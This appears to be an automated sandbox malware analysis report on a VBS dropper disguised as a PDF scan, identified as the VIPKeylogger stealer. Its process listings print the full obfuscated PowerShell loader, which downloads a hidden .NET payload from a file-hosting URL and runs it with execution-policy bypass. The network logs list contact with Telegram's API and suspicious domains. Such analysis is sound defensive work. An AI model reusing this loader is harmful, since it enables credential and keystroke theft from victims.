Malware Analysis Report

2024-12-07 14:10

Sample ID 241112-hhgnbsxcmm
Target Scan12112024,pdf.vbs
SHA256 025945e88ff07b6cac99091ea9410351047fa352f29026d5751dc15b63ad1765
Tags
execution vipkeylogger collection discovery keylogger stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

025945e88ff07b6cac99091ea9410351047fa352f29026d5751dc15b63ad1765

Threat Level: Known bad

The file Scan12112024,pdf.vbs was found to be: Known bad.

Malicious Activity Summary

execution vipkeylogger collection discovery keylogger stealer

VIPKeylogger

Vipkeylogger family

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Looks up external IP address via web service

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Browser Information Discovery

Modifies registry class

outlook_win_path

outlook_office_path

Suspicious use of AdjustPrivilegeToken

Script User-Agent

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-12 06:44

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-12 06:44

Reported

2024-11-12 06:46

Platform

win7-20240903-en

Max time kernel

119s

Max time network

119s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')"

Network

Country Destination Domain Proto
US 8.8.8.8:53 paste.ee udp
US 104.21.84.67:80 paste.ee tcp
US 104.21.84.67:443 paste.ee tcp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs

MD5 3cc8a019daa8e623719ff9741de015a0
SHA1 16e2932236fb74f7009f7b817f070eda4363ba1a
SHA256 a79f475d99a3e9115369fa349cfea634600b82077007c29c3016588b10ff7091
SHA512 cb639e0bd891b32bab301bcf8537cbf5bbe06e22098c8c3cfeca13edc06053f63c47be551e1a7d651f842e65af27f2a907c9670d255e98db15576227d2250d61

memory/2672-8-0x000000001B590000-0x000000001B872000-memory.dmp

memory/2672-9-0x0000000002310000-0x0000000002318000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 6ed099a844cb4db7c1afd67569e8ed84
SHA1 ae70cdbdfa35dc6e659e3506524a273918f00dff
SHA256 1d804f8dbd4184c01647dcb05b0e464c925d3cbb5072b7d9c8ca4f3b97ebf15b
SHA512 1be987f1bcd601b84aef8be167ce92a1dfb42a0fadbeda604205e7ed47aa8d600bd13c78a8193d6bdfeda5836633fb5e3737c81b13ec6aa65320f5da4f43540c

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-12 06:44

Reported

2024-11-12 06:46

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

151s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"

Signatures

VIPKeylogger

stealer keylogger vipkeylogger

Vipkeylogger family

vipkeylogger

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\svchost.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\svchost.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\svchost.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3716 set thread context of 1232 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\svchost.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings C:\Windows\System32\WScript.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\svchost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4924 wrote to memory of 380 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 4924 wrote to memory of 380 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 380 wrote to memory of 3260 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 380 wrote to memory of 3260 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3260 wrote to memory of 3716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3260 wrote to memory of 3716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3716 wrote to memory of 4648 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe
PID 3716 wrote to memory of 4648 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe
PID 3716 wrote to memory of 4648 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe
PID 3716 wrote to memory of 1232 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe
PID 3716 wrote to memory of 1232 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe
PID 3716 wrote to memory of 1232 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe
PID 3716 wrote to memory of 1232 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe
PID 3716 wrote to memory of 1232 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe
PID 3716 wrote to memory of 1232 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe
PID 3716 wrote to memory of 1232 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe
PID 3716 wrote to memory of 1232 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe
PID 3716 wrote to memory of 1232 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\svchost.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\svchost.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\svchost.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')"

C:\Windows\SysWOW64\svchost.exe

"C:\Windows\SysWOW64\svchost.exe"

C:\Windows\SysWOW64\svchost.exe

"C:\Windows\SysWOW64\svchost.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 paste.ee udp
US 172.67.187.200:80 paste.ee tcp
US 172.67.187.200:443 paste.ee tcp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 200.187.67.172.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 8.8.8.8:53 78.209.215.142.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 pus.rollerswpush.eu udp
LT 141.98.10.88:80 pus.rollerswpush.eu tcp
US 8.8.8.8:53 88.10.98.141.in-addr.arpa udp
US 8.8.8.8:53 checkip.dyndns.org udp
US 193.122.130.0:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 8.8.8.8:53 0.130.122.193.in-addr.arpa udp
US 104.21.67.152:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 152.67.21.104.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 sws.swpushroller.eu udp
LT 141.98.10.88:80 sws.swpushroller.eu tcp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs

MD5 3cc8a019daa8e623719ff9741de015a0
SHA1 16e2932236fb74f7009f7b817f070eda4363ba1a
SHA256 a79f475d99a3e9115369fa349cfea634600b82077007c29c3016588b10ff7091
SHA512 cb639e0bd891b32bab301bcf8537cbf5bbe06e22098c8c3cfeca13edc06053f63c47be551e1a7d651f842e65af27f2a907c9670d255e98db15576227d2250d61

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mthbvono.xaf.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3260-9-0x000001D379E10000-0x000001D379E32000-memory.dmp

memory/3716-23-0x000001C178C60000-0x000001C178DB8000-memory.dmp

memory/1232-24-0x0000000000400000-0x0000000000437000-memory.dmp

memory/1232-27-0x0000000000400000-0x0000000000437000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

memory/1232-31-0x0000000005050000-0x000000000509E000-memory.dmp

memory/1232-32-0x00000000059B0000-0x0000000005F54000-memory.dmp

memory/1232-33-0x0000000005110000-0x000000000515E000-memory.dmp

memory/1232-34-0x0000000005400000-0x000000000549C000-memory.dmp

memory/1232-35-0x0000000006740000-0x0000000006902000-memory.dmp

memory/1232-36-0x00000000065E0000-0x0000000006630000-memory.dmp

memory/1232-37-0x0000000006E40000-0x000000000736C000-memory.dmp

memory/1232-38-0x0000000006AF0000-0x0000000006B82000-memory.dmp

memory/1232-39-0x0000000006AB0000-0x0000000006ABA000-memory.dmp